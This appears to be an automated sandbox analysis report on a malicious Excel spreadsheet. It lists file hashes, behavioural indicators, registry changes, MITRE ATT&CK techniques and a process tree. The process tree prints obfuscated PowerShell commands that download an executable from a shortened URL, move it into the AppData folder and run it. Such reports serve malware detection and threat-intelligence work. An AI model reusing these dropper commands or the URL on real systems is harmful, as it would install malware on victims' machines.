ccf9c52f4542aceff583c50226397e1f31630836f08ab40759e01eeaa5538ef4

General

Target

SecuriteInfo.com.Exploit.Siggen2.64979.12090.18025.xls
Size

75KB
MD5

7ba7817848e5d33a4f5b301b075120d8
SHA1

eacf413cf0b6db5ae2f36149dfd2792812a257f7
SHA256

ccf9c52f4542aceff583c50226397e1f31630836f08ab40759e01eeaa5538ef4
SHA512

06f71b6209b5091f6a16196757b8e3d973872f50d67641dbbd020a500baf19ef8ae018980529a841cb44ba2674e75bd1723605e6ec4a163093523fec389fe8a8

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cutt.ly/XgX89zi

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1504	336	cmd.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1192	336	cmd.exe	24
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	520	336	cmd.exe	24

Blacklisted process makes network request 2 IoCs

flow	pid	Process
6	1720	powershell.exe
8	1720	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
336	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1460	powershell.exe
572	powershell.exe
1720	powershell.exe
572	powershell.exe
1720	powershell.exe
1460	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	1460	powershell.exe
Token: SeDebugPrivilege	572	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
336	EXCEL.EXE
336	EXCEL.EXE
336	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 336 wrote to memory of 1504	336	EXCEL.EXE	29
PID 336 wrote to memory of 1504	336	EXCEL.EXE	29
PID 336 wrote to memory of 1504	336	EXCEL.EXE	29
PID 336 wrote to memory of 1504	336	EXCEL.EXE	29
PID 336 wrote to memory of 1192	336	EXCEL.EXE	30
PID 336 wrote to memory of 1192	336	EXCEL.EXE	30
PID 336 wrote to memory of 1192	336	EXCEL.EXE	30
PID 336 wrote to memory of 1192	336	EXCEL.EXE	30
PID 336 wrote to memory of 520	336	EXCEL.EXE	32
PID 336 wrote to memory of 520	336	EXCEL.EXE	32
PID 336 wrote to memory of 520	336	EXCEL.EXE	32
PID 336 wrote to memory of 520	336	EXCEL.EXE	32
PID 1504 wrote to memory of 1720	1504	cmd.exe	35
PID 1504 wrote to memory of 1720	1504	cmd.exe	35
PID 1504 wrote to memory of 1720	1504	cmd.exe	35
PID 1504 wrote to memory of 1720	1504	cmd.exe	35
PID 520 wrote to memory of 572	520	cmd.exe	37
PID 520 wrote to memory of 572	520	cmd.exe	37
PID 520 wrote to memory of 572	520	cmd.exe	37
PID 520 wrote to memory of 572	520	cmd.exe	37
PID 1192 wrote to memory of 1460	1192	cmd.exe	36
PID 1192 wrote to memory of 1460	1192	cmd.exe	36
PID 1192 wrote to memory of 1460	1192	cmd.exe	36
PID 1192 wrote to memory of 1460	1192	cmd.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.64979.12090.18025.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:336
- C:\Windows\SysWOW64\cmd.exe
  cmd /cpowe^rshell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/XgX89zi'),'qc.exe')
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"(('https://cutt.ly/XgX89zi'),'qc.exe')
    3⤵
    - Blacklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- C:\Windows\SysWOW64\cmd.exe
  cmd /cpowe^rshell -w 1 stARt`-slE`Ep 20; Move-Item "qc.exe" -Destination "${enV`:appdata}"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1192
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 20; Move-Item "qc.exe" -Destination "${enV`:appdata}"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1460
- C:\Windows\SysWOW64\cmd.exe
  cmd /cpowe^rshell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./qc.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:520
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 stARt`-slE`Ep 25; cd ${enV`:appdata}; ./qc.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:572

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/336-1-0x00000000069D0000-0x00000000069D1000-memory.dmp

Filesize
4KB

Download
memory/572-63-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/572-58-0x0000000006180000-0x0000000006181000-memory.dmp

Filesize
4KB

Download
memory/572-60-0x0000000006140000-0x0000000006141000-memory.dmp

Filesize
4KB

Download
memory/572-11-0x000000006C660000-0x000000006CD4E000-memory.dmp

Filesize
6.9MB

Download
memory/572-75-0x0000000006390000-0x0000000006391000-memory.dmp

Filesize
4KB

Download
memory/572-76-0x00000000063A0000-0x00000000063A1000-memory.dmp

Filesize
4KB

Download
memory/1460-13-0x000000006C660000-0x000000006CD4E000-memory.dmp

Filesize
6.9MB

Download
memory/1460-57-0x00000000061C0000-0x00000000061C1000-memory.dmp

Filesize
4KB

Download
memory/1460-15-0x0000000002070000-0x0000000002071000-memory.dmp

Filesize
4KB

Download
memory/1460-17-0x0000000004890000-0x0000000004891000-memory.dmp

Filesize
4KB

Download
memory/1720-33-0x0000000006080000-0x0000000006081000-memory.dmp

Filesize
4KB

Download
memory/1720-20-0x0000000004600000-0x0000000004601000-memory.dmp

Filesize
4KB

Download
memory/1720-23-0x0000000005310000-0x0000000005311000-memory.dmp

Filesize
4KB

Download
memory/1720-28-0x0000000005FC0000-0x0000000005FC1000-memory.dmp

Filesize
4KB

Download
memory/1720-49-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/1720-12-0x000000006C660000-0x000000006CD4E000-memory.dmp

Filesize
6.9MB

Download
memory/1720-34-0x0000000006130000-0x0000000006131000-memory.dmp

Filesize
4KB

Download
memory/1720-41-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download

Analysis

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